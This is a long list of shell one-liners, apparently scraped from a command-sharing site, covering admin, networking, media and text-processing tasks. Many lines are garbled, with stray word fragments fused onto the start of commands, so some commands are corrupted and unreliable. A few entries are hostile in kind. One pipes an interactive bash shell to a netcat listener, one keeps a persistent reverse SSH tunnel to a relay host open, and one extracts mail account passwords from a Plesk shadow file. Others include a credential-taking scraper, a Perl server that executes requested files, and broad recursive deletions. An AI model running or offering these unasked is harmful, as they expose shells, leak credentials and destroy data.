ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"
tail -f access_log | cut -c2-21 | uniq -c
autossh -f -i /path/to/key -ND local-IP:PORT User@Server
leN="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
export HISTCONTROL=ignoreboth
hop by host Bcat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
awk '{avg += ($1 - avg) / NR;} END { print avg; }'
cd /usr/home && for i in *;do chsh -s bash $i;done
ondsecho 'ServerAliveInterval 60' >> /etc/ssh/ssh_config
mv ubuntu-10.04-rc-desktop-amd64.iso ubuntu-10.04-desktop-amd64.iso; i=http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-amd64.iso.zsync; while true; do if wget $i; then zsync $i; date; break; else sleep 30; fi; done
find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10
a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
file =top
ssh-copy-id user@host
ifconfig | awk '/HWaddr/ { print $NF }'
very_long_command& sleep 10; kill $!
absolute_path () { readlink -f "$1"; };
find /dir_name -mtime +5 -exec rm {} \
ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql
getfacl file1 | setfacl --set-file=- file2
usermod -a -G groupname username
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'
curl -I http://localhost
sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
dig +trace google.com
vimdiff tera.py <(ssh -A testserver "cat tera.py")
sudo find / -user root -perm -4000 -print
sudo pmset schedule sleep "08/31/2009 00:00:00"
find /tmp -type f -printf 'rm "%p";\n'
cat /path/to/7z.sfx /path/to/archive > archive.exe
tzwatch
d distrosfunction whichpkg() { readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; }
the output of filenames and size in a text file.find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
find /home -uid 1056 -exec chown 2056 {} \;
egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }
mkdir !*
<esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a').
find . -type d -name .svn -delete
$ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv
grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
watch vmstat -sSM
dig +short $HOSTNAME
ssh -t server 'cd /etc && $SHELL'
find . -type d -name .svn -execdir rm -rf {} +
ARRAY=(aa bb cc);echo ${ARRAY[1]}
git add --patch <filename>
svn ci `svn stat |awk '/^A/{printf $2" "}'`
fortune | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1)
cu -s 9600 -l /dev/ttyS0
svn list -R https://repository.com --xml >> svnxxmlinfo.xml
curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/
cat /sys/class/net/*/address
pkill -u `whoami`
lynx -dump somefile.html
LD_TRACE_LOADED_OBJECTS=1 name_of_executable
date +%s
sudo fc-cache -f -v
totem-video-thumbnailer -pg 25 in_video out_png
find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6
ls `echo $PATH | sed 's/:/ /g'`
old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}
curl -s icanhazip.com
wget -q http://xyz.gpg -O- | sudo apt-key add -
for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt
command -v bash
jhead -n%Y%m%d-%H%M%S *.jpg
fbemailscraper YourFBEmail Password
for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done
echo "Keyword?";read keyword;query="http://www.shoutcast.com/sbin/newxml.phtml?search="$keyword"";curl -s $query |awk -F '"' 'NR <= 4 {next}NR>15{exit}{sub(/SHOUTcast.com/,"http://yp.shoutcast.com/sbin/tunein-station.pls?id="$6)}{print i++" )"$2}'
curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'
type <filename>
ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10
find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;
curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
mv -- -filename filename
TZ=UTC date -d @1320198157
iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128
watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
awk -F: '{print "useradd -u "$3,"-c \""$5"\"","-s "$7,$1}' passwd
bash -x script.sh
date +"%V"
grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head
find . -empty -type f -delete
mount --bind /old/directory/path /new/directory/path
printf "\e[8;70;180;t"
update-alternatives --config java
anothercut -f 1 three-column.txt > first-column.txt
echo {'1,2,3',4}" o'clock" ROCK
alias ips='ip a | awk '\''/inet /&&!/ lo/{print $NF,$2}'\'' | column -t'
lsof -c <process name> -r
screen -x <screen_id>
tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; }
ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace
tsocks <program>
dlocate [ package | string ]
mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g' | grep mp3$ | xargs`
-idcat ~/.ssh/id_rsa.pub | ssh <REMOTE> "(cat > tmp.pubkey ; mkdir -p .ssh ; touch .ssh/authorized_keys ; sed -i.bak -e '/$(awk '{print $NF}' ~/.ssh/id_rsa.pub)/d' .ssh/authorized_keys; cat tmp.pubkey >> .ssh/authorized_keys; rm tmp.pubkey)"
hives.unrar p -inul foo.rar|mplayer -
smbpasswd -r <domain-server> -U <user name>
gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) }
to() { eval dir=\$$1; cd "$dir"; }
sudo lsof -i :<port>
lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo
abiword --to=html file.doc --exp-props=
nc -v -n -z -w 1 127.0.0.1 22-1000
ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi
arping 192.168.1.2
(ls; mkdir subdir; echo subdir) | xargs mv
for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh [email protected] "cat > /remote/$I.sql.gz"; done
grep -lr -e '<oldword>' * | xargs sed -i 's/<oldword>/<newword>/g'
find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
kill -0 [pid]
tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
find . -name "*.[ch]" | xargs grep "TODO"
detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
ls -Xp | grep -Eo "\.[^/]+$" | sort | uniq
ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
derscount() { find $@ -type f -exec cat {} + | wc -l; }
[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "
tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }
cat -n
sed -n 's/.*<foo>\([^<]*\)<\/foo>.*/\1/p'
resources are available( ( while [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] || [ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,$//' -e 's/,/./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ]; do sleep 10; done; my-command > output.txt ) & )
openssl s_client -connect [host]:[sslport] -cipher LOW
notifyme -C `cat /etc/passwd | cut -d: -f1`
git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'
diff <(sort file1.txt) <(sort file2.txt)
mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi
<ESC> v or ctrl-x ctrl-e
nmap -p 80 hostname
ntpq -p
find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path>
quietly() { "$@" |&:; }
find . -depth -type d -exec du -s {} \; | sort -k1nr
newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
find . -type f -exec sed -i s/oldstring/newstring/g {} +
lsof|grep /somemount/| awk '{print $2}'|xargs kill
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
who -r
yes "echo -ne '\r'\`date\`;sleep 1" | sh
dig +short myip.opendns.com @resolver1.opendns.com
pkill -9 search_criteria
shuf SOMEFILE
for i in ???.jpg; do mv $i $(printf %04d $(basename $i .jpg) ).jpg ; done
seq -s "+" 3 | bc
:split <file>
bash -x SCRIPT
pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; }
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"
sed -e "$ ! s/$/,/"
getent passwd $(whoami) | cut -f 5 -d: | cut -f 1 -d,
dsh -M -c -f servers -- "command HERE"
lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}'
backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
sudo dmidecode --type=processor | grep -i -A 1 charac
ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4
sudo bash -c "sleep 1h ; command"
bash -i 2>&1 | tee /dev/stderr | nc -l 5000
shutdown -h 240 & disown
lndir sourcedir destdir
strace <name of the program>
perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
curl ifconfig.me
dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done
upto() { cd "${PWD/\/$@\/*//$@}" }
if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi
echo "I'm going to paste this into WINDERS XP" | xsel -i
( du -xSk || du -kod ) | sort -nr | head
for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done
cp /really/long/path/and/file/name{,-`date -I`}
%
ps -C command
^u
find -L -type l
:g:^\s*#.*:m0
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
hcitool scan
cmatrix -abx
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no
netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
git archive --format=tar HEAD | (cd /var/www/ && tar xf -)
~ ctrl-z
for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('
s='s=\47%s\47; printf "$s" "$s"'; printf "$s" "$s"
screen -xR
mem(){ { case $1 in st*|[vgid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/ .*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf "\r\nquit\r\n";}|nc -n 127.0.0.1 11211; }
time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done
curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost
gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf
for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done
cat /dev/urandom > /dev/dsp
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
exec bash
svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....//
watch -n1 'date "+%T"'
wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
nmap -p 1-65535 --open localhost
sed -e '/^$/d' -i .bak filewithempty.lines
runas /user:administrator net stop wuauserv
cat file | tr '\n' ''
curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
mpack -s "Backup: $file" "$file" [email protected]
ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'`
sudo lsof -P -i -n -sTCP:LISTEN
find . -type d -exec du -sk '{}' \; | awk '($1 < 2048) {print $2}'
cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
ts contentsfind . \( -type d -name .svn -prune \) -o -type d -print
read -p "Press enter to continue.."
st() { LDFLAGS=-static CFLAGS=-static CXXFLAGS=-static NOSHARED=yes ./configure $@ ;} usage: st [configure operands]
rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
is.fuser -n tcp {0..65535}
awk 'func f(n){return(n<2?n:f(n-1)+f(n-2))}BEGIN{while(a<24){print f(a++)}}'
find * -maxdepth 1 -type f ! -name abc -delete
uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
ls -1 | rename 's/\ /_/'
dd if=/dev/zero of=testfile bs=1024 count=5000
ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
watch -n1 snmptable -v2c -c public localhost diskIOTable
' is off, and so forth (works in insert-mode and command-mode):set pt=<f9>
ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3
hdiutil attach somefile.dmg
/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'
ationdu -sch ./*
echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=' ') f"|dc|tac|xargs printf "%04d\n"|tr "01" ".*"
curl -I g.cn
command | pbcopy && pbpaste
for I in `/sbin/lspci |awk '/VGA/{print $1}'`;do /sbin/lspci -v -s $I;done
sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql
lsb_release -a
touch -t "YYYYMMDDhhmm.ss" ~/.ts ; find . -newer ~/.ts
v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
shred targetfile
for file in `find . -type f`; do cat $file; done | wc -l
apt-cache stats
Kill all process using regular expression (-r option)
kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
find . -type f -name '*.htm' -delete
alien -r -c file.deb
fdupes -r .
ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'
which command
for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1; done
while (true) ; do pwgen 1 ; done
export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '
awk '!_[$0]++{print}'
d (hub) machine.ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine
history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1
cesses.ps aux | awk '{sum+=$6} END {print sum/1024}'
mkfs.ext3 -T largefile4
ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
tar -cvzf arch.tgz $(find /path/dir -not -type d)
file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games
for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
perl -pe's/([\d.]+)/localtime $1/e;'
sed '10,20!d'
ps -ef --sort=-%cpu
[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &
nfig.phpeval $(sed -n "s/^d[^D]*DB_\([NUPH]\)[ASO].*',[^']*'\([^']*\)'.*/_\1='\2'/p" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`
( IFS=:; for p in $PATH; do echo $p; done )
aptitude install '?and(~nlib.*perl, ~Dmodule)'
xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>
grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'
( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed 's/.*line\s\([0-9]*\).*/\1/'); vim +$l $(locate apache2.conf | head -n1)))
ps aux | sort +2n | tail -20
sudo vol_id -u /dev/sda1
\rm somefile
losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/
cat /dev/urandom | gzip -9 > /dev/null &
say -f file.txt
DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png
sudo dpkg-reconfigure -a
find $(dpkg -L iptables) -maxdepth 0 -executable -type f
alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'
ps -eo pcpu,pid,args | sort -n
ps -o etime `pidof firefox` |grep -v ELAPSED | sed 's/\s*//g' | sed "s/\(.*\)-\(.*\):\(.*\):\(.*\)/\1d \2h/; s/\(.*\):\(.*\):\(.*\)/\1h \2m/;s/\(.*\):\(.*\)/\1m \2s/"
quickemail() { echo "$*" | mail -s "$*" [email protected]; }
by ip it has.netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
%! perl -MO=Deparse | perltidy
ffmpeg -i input_file.avi output_file.webm
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext"
alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'
cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )
xargsb() { while read -r cmd; do ${@//'{}'/$cmd}; done; }
ln -nvfs /source /destination
egrep '^[^#]' some_file
echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail [email protected]
lsof -n | grep /media/cdrom
lall commandalias a=" killall rapidly_spawning_process"; a; a; a;
man -k <keyword>
xinit -- :1
te.find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path
infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti && tic /tmp/ti"
tail -f <filename> | grep -C <# of lines to show above and below> <text>
tail -n 0 -f /var/log/messages
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi
mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi
rm file{1..10}
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';"
wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'`
sed -n 's/.*<title>\(.*\)<\/title>.*/\1/ip;T;q' file.html
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n
dpkg -l
aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4
git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
date --date="1 fortnight ago"
find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'
pdftohtml -i -stdout FILE.pdf | w3m -T text/html
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
tfor file in *.7z; do 7zr e "$file"; done
sudo powertop
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
random -f <file>
echo data | nc -q 0 host 5000
optipng -o3 *png && advpng -z -4 *png && advdef -z -4 *png
find . -name "*.txt" -exec sed -i "s/old/new/" {} \;
ssh -T user@host /bin/bash -i
read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u
sed '/test/{/error\|critical\|warning/d}' somefile
du -hs *|grep M|sort -n
pkill <name>
perl -pe 'eof()||s/\n/<SOMETEXT>/g' file.txt
host {checkIp or hostname} [dns server]
for f in /sys/class/net/*; do echo -e "$(basename $f)\t$(cat $f/address)"; done
kill -9 `ps ax | egrep [f]elix.jar | egrep -o -e '^ *[0-9]+'`
(without saving locally)DATE=$(date +%Y-%m-%d_%H-%M-%S)-$(($(date +%N)/10000000)); HOST=ssh_host; DEST=file_dest; URL=url/screenshot_$DATE.png; import -window root png:- | ssh $HOST "cat > $DEST/screenshot_$DATE.png"; echo $URL | xclip; notify-send -u low "Title" "Message"
check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)
watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done }
eject -x 8 /dev/cdrom
netstat | awk '/EST/{print $5}' | sort
curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'
dig +short NS org.
proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias sudor="proceed_sudo # "
screen -dmS "name_me" echo "hi"
$COMMAND 2>&1 >/dev/null & WPID=$!; sleep $TIMEOUT && kill $! & KPID=$!; wait $WPID
joinargs() { (IFS="$1"; shift && echo "$*") }
watch -n 5 -d cat /proc/mdstat
identify -ping imageName.png
echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
wget --spider -v http://www.server.com/path/file.ext
convert -colorspace gray face.jpg gray_face.jpg
sudo youtube-dl -U
lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep .
find ./* -ctime -1 | xargs ls -ltr --color
for y in $(seq 2009 2011); do cal $y; done
ls -ldct /lost+found |awk '{print $6, $7}'
svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq
for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
rsync -e 'ssh -p PORT' user@host:SRC DEST
echo "scale=4; 3 / 5" | bc
whereis somecommand
find / -name *~ -delete
d is not "complete" yet
#command
cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g'
ls -lt | more
export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"
echo StrinG | tr '[:upper:]' '[:lower:]'
ncat -l portnumber
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock
tar tfz filename.tgz |xargs rm -Rf
echo $(( $RANDOM % 10 + 1 ))
ing perlsed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`
mwiki() { dig +short txt "$*".wp.dg.cx; }
sudo ethtool -s eth0 wol d
gsettings set org.gnome.desktop.background picture-uri file://"$(find ~/Wallpapers -type f | shuf -n1)"
alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'
colormake, colorgcc, colordiff
for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "
gconftool -s -t string /apps/metacity/general/button_layout "menu:minimize,maximize,close"
( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u
find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
PERMA () { echo "$@" >> ~/.bashrc; }
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }
find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u
ruby -e 'puts (1..6).map{"%0.2X"%rand(256)}.join(":")'
stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo
